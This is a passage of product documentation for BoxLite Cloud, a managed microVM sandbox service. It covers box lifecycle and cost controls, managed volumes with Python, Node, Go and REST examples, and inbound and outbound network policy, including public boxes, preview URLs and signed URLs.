no-such-field error. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `BoxOptions(disk_gib=20)` fails with a no-such-field error | The field is `disk_size_gb` | Use `BoxOptions(disk_size_gb=20)`. See [Compute resources](/manage-sandbox/compute-resources) | | A box request asks for more CPU, memory, or disk than your organization allows | Ceilings are 4 vCPU compute, 32 GiB memory, and 120 GiB storage per box | Lower the request, or spread the work across several boxes. Check your ceilings in [Managing billing](/cloud/billing#per-box-resource-ceilings) | ## Next steps Everything else about configuring a box on Cloud. # Boxes Source: https://docs.boxlite.ai/cloud/boxes A box on BoxLite Cloud is a microVM you address by name or id from anywhere your API key reaches — choose its image and size, and know when the platform stops it. A box on BoxLite Cloud is a microVM you address by name or id from anywhere your API key reaches. You choose its image and its size when you create it, and the platform decides when it stops and whether it wakes again. **A Cloud box stops itself after 15 idle minutes by default**, and work running *inside* the box does not count as activity. A long unattended job can be stopped mid-run. See [Lifecycle](/cloud/box-lifecycle#stop-when-idle) before you start one. ## In this section The three images the console offers, and what an image reference looks like from code. The preset sizes, the per-box ceilings for your organization, and the SDK sizing fields. Stop when idle, wake on access, delete after stopping. **The settings most likely to surprise you.** The full create-start-use-remove cycle, reusing a box by name, and environment variables. ## Which page do I want? | You are asking | Page | | - | - | | Which image should I start from? | [Images](/cloud/box-images) | | How much CPU and memory can one box have? | [Sizes](/cloud/box-sizes#per-organization-ceilings) | | Why did my box stop on its own? | [Lifecycle](/cloud/box-lifecycle#stop-when-idle) | | How do I keep a box alive through a long job? | [Lifecycle](/cloud/box-lifecycle#stop-when-idle) | | How do I get a box deleted automatically? | [Lifecycle](/cloud/box-lifecycle#delete-after-stopping) | | Show me the whole cycle in one script | [From code](/cloud/box-from-code) | | How do I reuse a box I created earlier? | [From code](/cloud/box-from-code) | | What does a box cost per hour? | [What a box costs](/cloud/box-costs) | # Stop paying for boxes you have finished with Source: https://docs.boxlite.ai/cloud/cost-controls The two lifecycle controls that decide how long each half of a box’s bill runs, and the volume pattern that keeps data without keeping a disk. Compute billing stops on its own. Disk billing does not. These are the controls that close that second loop. Two lifecycle controls decide how long each half of the bill runs, and their defaults pull in opposite directions: | Control | Default | What it does to your bill | | - | - | - | | `auto_stop` | 900 seconds (15 minutes idle) | **Compute billing stops on its own.** After 15 idle minutes the box stops, and vCPU and memory come off the bill | | `auto_delete` | `0`, disabled | **Disk billing never stops on its own.** A stopped box keeps its disk, and keeps being charged for it, indefinitely | So by default you stop paying for compute automatically, and you pay for disk forever. Setting `auto_delete` closes that second loop. It must be larger than `auto_stop` when both are non-zero. This example gives a box 15 idle minutes to be reused, then deletes it an hour after it stops: ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # costCappedBox.py — create a box that cleans itself up # Run: python costCappedBox.py import asyncio import os import time from boxlite import ApiKeyCredential, Boxlite, BoxliteRestOptions, BoxOptions IMAGE = "ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0" async def main() -> None: api_key = os.environ.get("BOXLITE_API_KEY") if not api_key: raise SystemExit("Set BOXLITE_API_KEY to your blk_live_... key first.") rt = Boxlite.rest(BoxliteRestOptions( url=os.environ.get("BOXLITE_REST_URL", "https://api.boxlite.ai"), credential=ApiKeyCredential(api_key), )) box = None try: box = await rt.create( BoxOptions( image=IMAGE, auto_stop=900, # stop after 15 idle minutes -> compute billing ends auto_delete=3600, # delete an hour after stopping -> disk billing ends ), name=f"capped-{int(time.time())}", ) await box.start() print(f"box {box.id} will delete itself an hour after it stops") except Exception as exc: print(f"create failed: {type(exc).__name__}: {exc}") if box is not None: await rt.remove(box.id, force=True) if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // costCappedBox.ts — create a box that cleans itself up // Run: node costCappedBox.ts import { ApiKeyCredential, BoxliteRestOptions, JsBoxlite } from "@boxlite-ai/boxlite"; const IMAGE = "ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0"; const apiKey = process.env.BOXLITE_API_KEY; if (!apiKey) { throw new Error("Set BOXLITE_API_KEY to your blk_live_... key first."); } async function main(): Promise { const rt = JsBoxlite.rest( new BoxliteRestOptions({ url: process.env.BOXLITE_REST_URL ?? "https://api.boxlite.ai", credential: new ApiKeyCredential(apiKey), }), ); let box = null; try { box = await rt.create( { image: IMAGE, autoStop: 900, // stop after 15 idle minutes -> compute billing ends autoDelete: 3600, // delete an hour after stopping -> disk billing ends }, `capped-${Math.floor(Date.now() / 1000)}`, ); await box.start(); console.log(`box ${box.id} will delete itself an hour after it stops`); } catch (err) { console.error(`create failed: ${err}`); if (box) { await rt.remove(box.id, true); } } } main(); ``` ```go Go theme={"theme":{"light":"github-light","dark":"github-dark"}} // costCappedBox.go — create a box that cleans itself up // Run: go run costCappedBox.go package main import ( "context" "fmt" "os" "time" boxlite "github.com/boxlite-ai/boxlite/sdks/go" ) const image = "ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0" func main() { apiKey := os.Getenv("BOXLITE_API_KEY") if apiKey == "" { fmt.Println("Set BOXLITE_API_KEY to your blk_live_... key first.") os.Exit(1) } restURL := os.Getenv("BOXLITE_REST_URL") if restURL == "" { restURL = "https://api.boxlite.ai" } rt, err := boxlite.NewRest(boxlite.BoxliteRestOptions{ URL: restURL, Credential: boxlite.NewApiKeyCredential(apiKey), }) if err != nil { fmt.Printf("connect failed: %v\n", err) os.Exit(1) } defer rt.Close() ctx := context.Background() box, err := rt.Create(ctx, image, boxlite.WithName(fmt.Sprintf("capped-%d", time.Now().Unix())), boxlite.WithAutoStopInterval(900), // compute billing ends after 15 idle minutes boxlite.WithAutoDeleteInterval(3600), // disk billing ends an hour after stopping ) if err != nil { fmt.Printf("create failed: %v\n", err) os.Exit(1) } if err := box.Start(ctx); err != nil { fmt.Printf("start failed: %v\n", err) _ = rt.Remove(ctx, box.ID()) os.Exit(1) } fmt.Printf("box %s will delete itself an hour after it stops\n", box.ID()) } ``` See [Lifecycle on Cloud](/cloud/box-lifecycle) for the full semantics of these fields, including how `auto_resume` brings a stopped box back. ## Keep the data, drop the disk `auto_delete` is uncomfortable when the box holds something you need later. That is what volumes are for, and it happens to be the cheapest arrangement available: * A **managed volume** is not part of a box's metered resources. Mounting one adds nothing to the box's hourly price. * A **stopped box** is billed for its disk for as long as it exists. So when you want to keep results but not keep paying, write them to a volume and let the box go. See [Volumes](/cloud/volumes). ## Next steps Rates, what the standard sizes cost, and how the hours are counted. # Keep data when the box is gone Source: https://docs.boxlite.ai/cloud/data-across-boxes Write to a volume from one box, delete that box, and read the same data back from a new one — the reason managed volumes exist. A box’s own disk dies with the box. A volume does not. This walks the proof end to end: write from one box, delete it, then read the same bytes from a box that did not exist when they were written. ## Prerequisites * An API key from the console, exported as `BOXLITE_API_KEY`. See [API keys](/cloud/api-keys). * `pip install boxlite`, and the REST URL exported as `BOXLITE_REST_URL`. See [Quickstart](/cloud/quickstart). Every example reads both values from the environment, so nothing hard-codes a credential. The property that makes a volume worth using: write through the mount in one box, destroy that box, mount the same volume in a different box, and the data reads back. The volume is backed by managed storage, not by the box. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import os import time from boxlite import ( ApiKeyCredential, Boxlite, BoxliteRestOptions, BoxOptions, ) # A name is easier to carry between processes than an id. VOLUME = os.environ.get("BOXLITE_VOLUME", "") IMAGE = "ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0" async def run_in_fresh_box(rt, name, script): """Create a box with the volume mounted, run one shell script, then remove the box.""" box = await rt.create( BoxOptions(image=IMAGE, volumes=[(VOLUME, "/data")]), name=name, ) try: await box.start() execution = await box.exec("sh", args=["-c", script]) output = "" async for line in execution.stdout(): output += line result = await execution.wait() return result.exit_code, output finally: # The box is gone after this line; the volume is not. await rt.remove(box.id, force=True) async def main(): rt = Boxlite.rest(BoxliteRestOptions( url=os.environ.get("BOXLITE_REST_URL", "https://api.boxlite.ai"), credential=ApiKeyCredential(os.environ["BOXLITE_API_KEY"]), )) stamp = int(time.time()) try: # Box A writes, then is destroyed. code, _ = await run_in_fresh_box( rt, f"volume-writer-{stamp}", "echo 'produced by box A' > /data/handoff.txt", ) if code != 0: print(f"box A write failed with exit code {code}") return # Box B is a different box on the same volume. code, output = await run_in_fresh_box( rt, f"volume-reader-{stamp}", "cat /data/handoff.txt", ) print(f"box B exit code: {code}") print(f"box B read back: {output}") except Exception as exc: print(f"handoff failed: {exc}") asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { ApiKeyCredential, BoxliteRestOptions, JsBoxlite } from "@boxlite-ai/boxlite"; // A name is easier to carry between processes than an id. const VOLUME = process.env.BOXLITE_VOLUME ?? ""; const IMAGE = "ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0"; // Create a box with the volume mounted, run one shell script, then remove the box. async function runInFreshBox(rt, name: string, script: string): Promise<[number, string]> { const box = await rt.create({ image: IMAGE, volumes: [[VOLUME, "/data"]] }, name); try { await box.start(); const execution = await box.exec("sh", ["-c", script]); const stdout = await execution.stdout(); let output = ""; while (true) { const line = await stdout.next(); if (line === null) break; output += line; } const result = await execution.wait(); return [result.exitCode, output]; } finally { // The box is gone after this line; the volume is not. await rt.remove(box.id, true); } } async function main(): Promise { const rt = JsBoxlite.rest( new BoxliteRestOptions({ url: process.env.BOXLITE_REST_URL ?? "https://api.boxlite.ai", credential: new ApiKeyCredential(process.env.BOXLITE_API_KEY!), }), ); const stamp = Math.floor(Date.now() / 1000); try { // Box A writes, then is destroyed. const [writeCode] = await runInFreshBox( rt, `volume-writer-${stamp}`, "echo 'produced by box A' > /data/handoff.txt", ); if (writeCode !== 0) { console.error(`box A write failed with exit code ${writeCode}`); return; } // Box B is a different box on the same volume. const [readCode, output] = await runInFreshBox(rt, `volume-reader-${stamp}`, "cat /data/handoff.txt"); console.log(`box B exit code: ${readCode}`); console.log(`box B read back: ${output}`); } catch (err) { console.error(`handoff failed: ${err instanceof Error ? err.message : err}`); } finally { rt.close(); } } main(); ``` ```bash REST theme={"theme":{"light":"github-light","dark":"github-dark"}} # Two boxes, one volume: the first writes, the second reads after the first is gone. BOXLITE_REST_URL="${BOXLITE_REST_URL:-https://api.boxlite.ai}" VOLUME="${BOXLITE_VOLUME:-}" IMAGE="ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0" AUTH=(-H "Authorization: Bearer ${BOXLITE_API_KEY}" -H 'Content-Type: application/json') make_box() { curl -fsS -X POST "${BOXLITE_REST_URL}/v1/boxes" "${AUTH[@]}" \ -d "{\"image\":\"${IMAGE}\",\"volumes\":[{\"managed_volume\":\"${VOLUME}\",\"guest_path\":\"/data\"}]}" \ | jq -r .id } # Box A writes, then is destroyed. A=$(make_box) curl -fsS -X POST "${BOXLITE_REST_URL}/v1/boxes/${A}/exec" "${AUTH[@]}" \ -d '{"command":"sh","args":["-c","echo '"'"'produced by box A'"'"' > /data/handoff.txt"]}' > /dev/null # exec is asynchronous: it returns an execution id. Wait for it before # removing the box, or the write can still be in flight. EXEC_ID=$(curl -fsS -X POST "${BOXLITE_REST_URL}/v1/boxes/${A}/exec" "${AUTH[@]}" \ -d '{"command":"sh","args":["-c","true"]}' | jq -r .id) for _ in $(seq 30); do STATE=$(curl -fsS "${BOXLITE_REST_URL}/v1/boxes/${A}/executions/${EXEC_ID}" "${AUTH[@]}" | jq -r .state) [ "$STATE" = "completed" ] && break sleep 1 done curl -fsS -X DELETE "${BOXLITE_REST_URL}/v1/boxes/${A}?force=true" "${AUTH[@]}" # Box B is a different box on the same volume. B=$(make_box) curl -fsS -X POST "${BOXLITE_REST_URL}/v1/boxes/${B}/exec" "${AUTH[@]}" \ -d '{"command":"cat","args":["/data/handoff.txt"]}' curl -fsS -X DELETE "${BOXLITE_REST_URL}/v1/boxes/${B}?force=true" "${AUTH[@]}" ``` Only what you write **under the mount path** survives. A file written to the box's own filesystem outside `/data` goes away with the box. ## Next steps What a volume is, the full parameter reference, and how Cloud differs from open source. # BoxLite Cloud Source: https://docs.boxlite.ai/cloud/index The managed cloud for AI agents — compute, a filesystem that outlives the box, a public URL, and hardware isolation around all of it, from a URL and an API key. **The managed cloud for AI agents.** Your agent gets compute, a filesystem that survives a restart, a public URL for whatever it builds, and hardware-level isolation around all of it — from a URL and an API key. You run no hosts, cache no images, and plan no capacity. A box starts in about a second, stops itself when it goes idle, and wakes when something reaches for it again. Cloud is not a separate client library. It is the same `boxlite` package you install locally, and the runtime handle is the only line that changes: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import os from boxlite import ApiKeyCredential, Boxlite, BoxliteRestOptions # The one line that differs from running BoxLite on your own machine. rt = Boxlite.rest( BoxliteRestOptions( url=os.environ["BOXLITE_REST_URL"], # https://api.boxlite.ai credential=ApiKeyCredential(os.environ["BOXLITE_API_KEY"]), ) ) ``` Everything after that line — `create`, `exec`, volumes, tunnels — is the API you already know. The [Quickstart](/cloud/quickstart) has the whole first script, end to end. ## Start here Create a key, install the SDK, run your first command on Cloud. `agent.md` is a single file written for coding agents. Every code block in it is executed against the live API before release. Every difference between the hosted runtime and self-hosted BoxLite, in one table — plus how to port existing code. ## Two shapes, one API The same `rt.create()` call gives you either shape. What differs is how long the box lives. Run untrusted or model-generated code, take the result, throw the box away. Hardware-level isolation without a virtualization host of your own. One box that keeps its filesystem, its packages, and its working state across sessions. The agent installs its tools once instead of rebuilding its world on every run. The second shape is what a stateful microVM makes possible, and it is the part a plain sandbox API cannot do: an agent writes files, stops, and picks the work back up a week later. **Idle means no SDK, terminal, or preview traffic.** Work running *inside* the box does not count, so a long unattended job can be stopped mid-run. Set the idle window per box — see [Stop when idle](/cloud/box-lifecycle#stop-when-idle). ## What you get Shared Linux base images, three preset sizes, and a managed lifecycle. Up to **4 vCPU, 32 GiB memory, and 120 GiB storage** per box. Managed storage that outlives the box that wrote it. Mount by a name you choose, and volumes are not metered at all. A tunnel to a port inside the box, carrying a public URL — so what your agent builds is reachable without you deploying it. Three metered rates and nothing else. Run wallet-only with no subscription, or take a plan whose quota covers usage first. Concurrency is set by your plan — 20 boxes on Starter, 100 on Pro, 1000 on Max. See [Wallet or a plan?](/cloud/plans) for which one your usage argues for. ## Build something Six things people ship on Cloud, each a complete runnable guide: An autonomous coding agent with root inside its own kernel and nothing outside the box. A model writes Python, it executes in a disposable box, the box is thrown away. Clone the PR into a box, run the suite, read the diff — with no access to your machine. CSV in, model-written pandas analysis and a chart out. A browser box feeding clean data to a model, with parsing in a separate box. State survives stop and restart, so every user or branch keeps its own environment. # Create a volume and mount it into a box Source: https://docs.boxlite.ai/cloud/mount-a-volume Create a managed volume, mount it into a box at a path you choose, and write and read through the mount. A managed volume is storage the platform keeps for you, independent of any box. This is the shortest complete path: create one, mount it, write through it, read it back. ## Prerequisites * An API key from the console, exported as `BOXLITE_API_KEY`. See [API keys](/cloud/api-keys). * `pip install boxlite`, and the REST URL exported as `BOXLITE_REST_URL`. See [Quickstart](/cloud/quickstart). Every example reads both values from the environment, so nothing hard-codes a credential. Create a volume, mount it into a box at `/data`, write a file through the mount, and read it back. This runs as written once the two environment variables are set. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # cloud_volume.py — create a named volume, mount it, write and read through it # Run: python cloud_volume.py import asyncio import os import time from boxlite import ( ApiKeyCredential, Boxlite, BoxOptions, BoxliteRestOptions, ) IMAGE = "ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0" api_key = os.environ.get("BOXLITE_API_KEY") if not api_key: raise SystemExit("Set BOXLITE_API_KEY to your blk_live_... key before running this.") async def main() -> None: rt = Boxlite.rest( BoxliteRestOptions( url=os.environ.get("BOXLITE_REST_URL", "https://api.boxlite.ai"), credential=ApiKeyCredential(api_key), ) ) volume = None box = None try: # rt.volumes is a property. create() takes an optional name that you can # mount by later, instead of carrying the id around. volume = await rt.volumes.create(f"demo-{int(time.time())}") print(f"Created volume {volume.name} (id {volume.id})") box = await rt.create( BoxOptions( image=IMAGE, # (managed volume name or id, mount path inside the box) volumes=[(volume.name, "/data")], ), name=f"volume-demo-{int(time.time())}", ) await box.start() # Write through the mount, not to the box's own disk. write = await box.exec( "sh", args=["-c", "echo 'subtitle model v3' > /data/notes.txt"], ) write_result = await write.wait() if write_result.exit_code != 0: print(f"write failed with exit code {write_result.exit_code}") return read = await box.exec("cat", args=["/data/notes.txt"]) content = "" async for line in read.stdout(): content += line read_result = await read.wait() print(f"Exit code: {read_result.exit_code}") print(content) except Exception as exc: # Auth failures, creation failures, and local runtimes without a volume # backend all surface here. print(f"volume run failed: {exc!r}") finally: # Teardown in finally, so a failure above cannot leave a box billing. if box is not None: await rt.remove(box.id, force=True) if volume is not None: await rt.volumes.remove(volume.id) if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // cloudVolume.ts — create a named volume, mount it, write and read through it // Run: node cloudVolume.ts import { ApiKeyCredential, BoxliteRestOptions, JsBoxlite } from "@boxlite-ai/boxlite"; const IMAGE = "ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0"; const apiKey = process.env.BOXLITE_API_KEY; if (!apiKey) { throw new Error("Set BOXLITE_API_KEY to your blk_live_... key before running this."); } async function main(): Promise { const rt = JsBoxlite.rest( new BoxliteRestOptions({ url: process.env.BOXLITE_REST_URL ?? "https://api.boxlite.ai", credential: new ApiKeyCredential(apiKey), }), ); const stamp = Math.floor(Date.now() / 1000); let volume = null; let box = null; try { // rt.volumes is a property. create() takes an optional name you can mount by. volume = await rt.volumes.create(`demo-${stamp}`); console.log(`Created volume ${volume.name} (id ${volume.id})`); box = await rt.create( { image: IMAGE, // [managed volume name or id, mount path inside the box] volumes: [[volume.name, "/data"]], }, `volume-demo-${stamp}`, ); await box.start(); // Write through the mount, not to the box's own disk. const write = await (await box.exec("sh", ["-c", "echo 'subtitle model v3' > /data/notes.txt"])).wait(); if (write.exitCode !== 0) { console.error(`write failed with exit code ${write.exitCode}`); return; } const read = await box.exec("cat", ["/data/notes.txt"]); const stdout = await read.stdout(); let content = ""; while (true) { const line = await stdout.next(); if (line === null) break; content += line; } const result = await read.wait(); console.log(`Exit code: ${result.exitCode}`); console.log(content); } catch (err) { // Auth failures, creation failures, and local runtimes without a volume // backend all surface here. console.error(`volume run failed: ${err instanceof Error ? err.message : err}`); } finally { // Teardown in finally, so a failure above cannot leave a box billing. if (box !== null) await rt.remove(box.id, true); if (volume !== null) await rt.volumes.remove(volume.id); rt.close(); } } main(); ``` ```bash REST theme={"theme":{"light":"github-light","dark":"github-dark"}} # Requires BOXLITE_API_KEY. Create a key in the console: /cloud/api-keys BOXLITE_REST_URL="${BOXLITE_REST_URL:-https://api.boxlite.ai}" IMAGE="ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0" NAME="demo-$(date +%s)" # 1. Create a named volume. An empty body creates an unnamed one, whose name # the server sets to the id. VOLUME=$(curl -fsS -X POST "${BOXLITE_REST_URL}/v1/volumes" \ -H "Authorization: Bearer ${BOXLITE_API_KEY}" \ -H 'Content-Type: application/json' \ -d "{\"name\":\"${NAME}\"}") echo "${VOLUME}" | jq '{id, name, state}' # 2. Mount it by name. The wire field is managed_volume — it takes a name or an id. curl -fsS -X POST "${BOXLITE_REST_URL}/v1/boxes" \ -H "Authorization: Bearer ${BOXLITE_API_KEY}" \ -H 'Content-Type: application/json' \ -d "{\"image\":\"${IMAGE}\",\"volumes\":[{\"managed_volume\":\"${NAME}\",\"guest_path\":\"/data\"}]}" \ | jq '{id, name}' # 3. Clean up when you are done. curl -fsS -X DELETE "${BOXLITE_REST_URL}/v1/volumes/$(echo "${VOLUME}" | jq -r .id)" \ -H "Authorization: Bearer ${BOXLITE_API_KEY}" ``` Two things in that script are worth pausing on, and the rest of this page builds on them: the volume carries a **name you chose**, and the box mounts it by that name. ## Create a volume in the console The console is the other way to create a volume, and the one to use when you want to see what you own. 1. Open **Volumes** in the console and click **New Volume**. 2. Fill in **Name** — the only field. Pick something you will recognize later, such as `subtitle-models`. 3. Creation waits until the volume is ready, so you can mount it immediately. The volume now exists independently of any box. You can mount it into a box, destroy that box, and mount it into a different one later. `rt.volumes.list()` and the **Volumes** page report the same set of volumes, and a name set in either place mounts the same way. ## Next steps What a volume is, the full parameter reference, and how Cloud differs from open source. # Network Source: https://docs.boxlite.ai/cloud/network Reach a service running inside a Cloud box, and control what that box is allowed to reach on the way out. A box that runs a web app, a dev server, or an SSH daemon is only useful once something can reach it. On BoxLite Cloud you ask a box for a **tunnel** to one of its ports, and that tunnel gives you a public URL and a byte stream. What the box itself may reach on the way out is a separate control. Two rules hold across everything here: * **Your service must bind `0.0.0.0`.** A tunnel arrives on the box's network interface, so a server on `127.0.0.1` inside the box is unreachable. * **A tunnel carries exactly one connection.** Ask for a fresh one per request, per retry, and per concurrent client. ## In this section The concept, the one-shot rule, what a tunnel is verified to carry, and the full parameter reference. **Start here.** Start an HTTP server inside a box, get its public URL, and make a request over it. Publish a box port on your own machine so `curl`, a browser, or a database driver can dial it. Take the byte stream directly when you are speaking a protocol of your own. Who can reach a box — public, private, signed URLs — and the egress allowlist that bounds what it reaches. ## Which page do I want? | You want | Page | | - | - | | To understand the model before writing code | [How tunnels work](/cloud/tunnels) | | A public URL for an HTTP service in a box | [Serve HTTP](/cloud/serve-http) | | A local port any TCP client can dial | [Port forwarding](/cloud/port-forwarding) | | The raw bidirectional stream | [Raw streams](/cloud/raw-streams) | | To make a box public, private, or shared by signed URL | [Network policy](/cloud/network-policy#inbound-who-can-reach-a-box) | | To restrict what the box can call out to | [Network policy](/cloud/network-policy#outbound-what-the-box-can-reach) | | A parameter table for `tunnel()`, `BoxTunnel`, or `SocketAddress` | [How tunnels work](/cloud/tunnels#parameters-and-returns) | # Control inbound and outbound access to a box Source: https://docs.boxlite.ai/cloud/network-policy Decide who may reach a Cloud box — keep it private, share one port through a signed link, or make it public — and set what the box itself is allowed to reach on the way out. Two questions decide a box's network posture: who is allowed to reach it, and what it is allowed to reach. The inbound half is the public flag and preview URLs; the outbound half is `NetworkSpec`. Dialing a box port from your own code is a different job, and [Network](/cloud/network) covers it. The routes on this page live under `/api/box/...` — the **platform API**, which is a separate surface from the SDK REST API at `/v1/boxes/...` used everywhere else in these docs. The singular `box` and the missing version segment are intentional, not typos. ## Prerequisites * An API key exported as `BOXLITE_API_KEY`, and the base URL as `BOXLITE_REST_URL`. See [API keys](/cloud/api-keys). * A running box with a service listening on a TCP port, bound to `0.0.0.0`. * Write access to boxes in your organization, for the public flag. ## Inbound: who can reach a box A box is private or public, and any single port on it can be shared through a preview URL. Those are two independent decisions: the flag governs the box, the URL governs one port. ### A preview URL and an SDK tunnel are different tools A preview URL is an HTTPS address for one port on one box, served by BoxLite's preview proxy. Anything that speaks HTTPS can fetch it — a browser, `curl`, a webhook sender, a reviewer on their phone — and none of them needs the BoxLite SDK. An SDK tunnel is the other shape. Your code asks the box for a tunnel and dials it with your API key, and the tunnel carries any TCP protocol rather than only HTTP. Reach for a **preview URL** when something outside your own code has to fetch an HTTP service in the box: a browser preview, a webhook receiver, a link you send someone. Reach for a **tunnel** when your program is the client, or when the protocol is not HTTP — SSH, a database wire protocol, a raw byte stream. Tunnels are documented on [Network](/cloud/network). ### Make a box public or private ```http theme={"theme":{"light":"github-light","dark":"github-dark"}} POST /api/box/{boxIdOrName}/public/{isPublic} ``` Both values travel in the path. There is no request body, and a `200` returns the box. | Path parameter | Type | Required | Description | | - | - | - | - | | `boxIdOrName` | string | Required | The box id, or the name you gave the box when you created it | | `isPublic` | boolean | Required | `true` opens the box to unauthenticated access, `false` returns it to private | The call needs write access to boxes in your organization, and it is recorded in your organization's audit trail. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Make a box public. Read the key from the environment -- never inline it. BOXLITE_REST_URL="${BOXLITE_REST_URL:-https://api.boxlite.ai}" curl -fsS -X POST \ "${BOXLITE_REST_URL}/box/review-app-142/public/true" \ -H "Authorization: Bearer ${BOXLITE_API_KEY}" ``` Be clear-eyed about what you just did. **A public box drops the credential requirement in front of it: anyone who has a URL to it can reach the service, from anywhere, with no API key and no token, and that holds until you set the flag back to `false`.** A URL is a string — it travels in chat messages, tickets, browser history, referrer headers, and screenshots. Anything the service in that box can read or write is now guarded by the secrecy of a link, so treat the box's files, its environment variables, and its network credentials as exposed for as long as the flag is on. Set it back to private the moment you no longer need it: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} BOXLITE_REST_URL="${BOXLITE_REST_URL:-https://api.boxlite.ai}" curl -fsS -X POST \ "${BOXLITE_REST_URL}/box/review-app-142/public/false" \ -H "Authorization: Bearer ${BOXLITE_API_KEY}" ``` If what you actually want is to let one person see one port for a short while, do not touch this flag at all — use a signed preview URL instead. ### Get a preview URL for a port ```http theme={"theme":{"light":"github-light","dark":"github-dark"}} GET /api/box/{boxIdOrName}/ports/{port}/preview-url ``` ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} BOXLITE_REST_URL="${BOXLITE_REST_URL:-https://api.boxlite.ai}" curl -fsS \ "${BOXLITE_REST_URL}/box/review-app-142/ports/8080/preview-url" \ -H "Authorization: Bearer ${BOXLITE_API_KEY}" | jq ``` A `200` returns: | Field | Type | Description | | - | - | - | | `boxId` | string | The box the URL points at | | `url` | string | The preview address, shaped `https://{port}-{encodedBoxId}.{proxyDomain}` | | `token` | string | The access token for that URL | The port is part of the URL, so **a preview URL addresses one port, not the whole box.** A box running an app on `8080` and a metrics endpoint on `9090` has two preview URLs, and you fetch each one separately. Change the port your service listens on and the old URL no longer describes it. #### Present the token when the box is private A private box's preview URL is not open, so a request has to carry the `token` from the response above. The preview proxy accepts it three ways, and tries them in this order: | How | Form | Use it for | | - | - | - | | `Authorization` header | `Authorization: Bearer ` | A programmatic client you control | | Dedicated header | `X-BoxLite-Preview-Token: ` | A client that already uses `Authorization` for something else | | Query parameter | `?BOXLITE_BOX_AUTH_KEY=` | A browser, or any client that can only follow a URL | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # A private preview URL, fetched with the token in a header curl -fsS "https://8080-./health" \ -H "X-BoxLite-Preview-Token: ${BOXLITE_PREVIEW_TOKEN}" ``` The query-parameter form is what makes a private preview URL openable in a browser: append it once, and the proxy strips the parameter before the request reaches your service, then sets a cookie so the following requests on that host carry the authorization for you. Because that form puts a credential in a URL, treat such a link like a password — it lands in browser history, server logs, and anything the recipient pastes it into. For sharing with a person, a [signed URL](#share-a-port-temporarily-with-a-signed-url) is the better instrument: it expires on its own and you can revoke it. A request that carries no credential the proxy accepts is redirected to sign in, so a human reaching a private box in a browser can authenticate instead of being refused outright. ### Share a port temporarily with a signed URL ```http theme={"theme":{"light":"github-light","dark":"github-dark"}} GET /api/box/{boxIdOrName}/ports/{port}/signed-preview-url?expiresInSeconds=N ``` This is the call to prefer when you want to hand someone a working link and keep the box private. The signature is what authorizes the request, so the recipient needs no API key and you never flip the public flag — the box stays closed to everyone who does not hold the link, and the link stops working on its own. `expiresInSeconds` is an optional query parameter, and **the default is 60 seconds**. Sixty seconds is the right size for a link your own code generates and redirects to immediately; pass a larger value when a person has to open it, read it, and click around. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} BOXLITE_REST_URL="${BOXLITE_REST_URL:-https://api.boxlite.ai}" # 900 seconds gives a reviewer a quarter of an hour with the link curl -fsS \ "${BOXLITE_REST_URL}/box/review-app-142/ports/8080/signed-preview-url?expiresInSeconds=900" \ -H "Authorization: Bearer ${BOXLITE_API_KEY}" | jq -r '.url, .token' ``` A `200` returns: | Field | Type | Description | | - | - | - | | `boxId` | string | The box the URL points at | | `port` | number | The port inside the box that the URL addresses | | `token` | string | Identifies this signed URL. Keep it — revoking the URL needs it | | `url` | string | The signed address, shaped `https://{port}-{token}.{proxyDomain}` | Generate a fresh signed URL per recipient and per sharing session rather than reusing one. Each is independently revocable, so one leaked link is one link you can kill. ### Revoke a signed URL before it expires ```http theme={"theme":{"light":"github-light","dark":"github-dark"}} POST /api/box/{boxIdOrName}/ports/{port}/signed-preview-url/{token}/expire ``` The `token` in the path is the `token` field from the signed-URL response — that is the reason to keep it rather than discarding everything but the `url`. A `200` returns no body. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} BOXLITE_REST_URL="${BOXLITE_REST_URL:-https://api.boxlite.ai}" SIGNED_TOKEN="" curl -fsS -X POST \ "${BOXLITE_REST_URL}/box/review-app-142/ports/8080/signed-preview-url/${SIGNED_TOKEN}/expire" \ -H "Authorization: Bearer ${BOXLITE_API_KEY}" ``` Revoke as soon as the review is over, the demo ends, or the link lands somewhere you did not intend. Waiting for an expiry you set generously is a choice to stay exposed. ### Choose between the three | Approach | Who can reach the box | Suits | | - | - | - | | Private box, SDK tunnel | Only code holding your API key | Your own program as the client, any TCP protocol, agent traffic that should never be addressable from outside | | Private box, signed preview URL | Anyone holding the link, until it expires or you revoke it | A preview for a reviewer, a teammate, or an end user; a link your app generates per session | | Public box | Anyone holding any URL to the box, until you set the flag back | A demo you are content to have indexed, crawled, and forwarded | The order matters: start private, escalate to a signed URL when a human needs to see something, and reserve the public flag for a box whose contents you would publish deliberately. ## Outbound: what the box can reach Outbound is a per-box setting you make at creation, not a toggle you flip afterwards. Pass a `NetworkSpec` as the `network` field of `BoxOptions`, and the SDK sends that specification — the mode and the allowlist — to Cloud as part of the create call. There are exactly two modes, `enabled` and `disabled`, plus the `allow_net` allowlist that narrows egress to named hosts. The `NetworkSpec` parameter table, the useful mode and allowlist combinations, and the verification recipe live on [Network access](/manage-sandbox/network-access), which owns them. One property of the allowlist decides whether you can debug it. **A host outside the allowlist is a DNS sinkhole, not a connection error: it resolves to `0.0.0.0`.** 